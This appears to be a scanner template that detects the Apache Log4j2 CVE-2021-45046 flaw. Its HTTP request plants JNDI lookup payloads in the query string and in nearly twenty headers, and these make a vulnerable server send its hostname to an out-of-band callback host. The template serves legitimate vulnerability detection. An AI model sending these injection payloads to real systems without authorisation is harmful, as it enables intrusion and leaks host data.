id: CVE-2021-45046
info:
  name: Apache Log4j2 - Remote Code Injection
  author: ImNightmaree
  severity: critical
  description: Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Log4j2.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/
    - https://twitter.com/marcioalm/status/1471740771581652995
    - https://logging.apache.org/log4j/2.x/
    - http://www.openwall.com/lists/oss-security/2021/12/14/4
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-917
    epss-score: 0.9434
    epss-percentile: 0.99957
    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: log4j
  tags: cve2021,cve,rce,oast,log4j,injection,kev,apache,vkev,vuln

http:
  - raw:
      - |
        GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1
        Host: {{Hostname}}
        Accept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}
        Accept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}
        Accept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}
        Access-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
        Access-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
        Authentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}
        Authentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}
        Cookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
        Location: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}
        Origin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}
        Referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}
        Upgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
        User-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}
        X-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}
        X-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}
        X-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}
        X-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}
        X-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
      - type: regex
        part: interactsh_request
        regex:
          - '\d{3}\.\d{1}\.\d{1}\.\d{1}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted 127.0.0.1.${hostName} in output
    extractors:
      - type: kval
        kval:
      - type: regex
        group: 2
        regex:
          - '\d{3}\.\d{1}\.\d{1}\.\d{1}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
      - type: regex
        group: 1
        regex:
          - '\d{3}\.\d{1}\.\d{1}\.\d{1}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted 127.0.0.1.${hostName} in output
        part: interactsh_request
        # digest: 4a0a0047304502204a840a21336953401491afca41b378a09a1f91d1a9ddcc3730006d76b55739e1022100daab695f729353f232cefc195d1664d48a955e22a6c539731cf0eecf2718fdb9:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204f1f81475db3075ed69f52fc9d847373eb04dbdc04446705c96bf7d59a0fb24602200566c2e02b64d5c063382274db12a48e59e2f5811474f7613743adcaa2a2c287:922c64590222798bb761d5b6d8e72950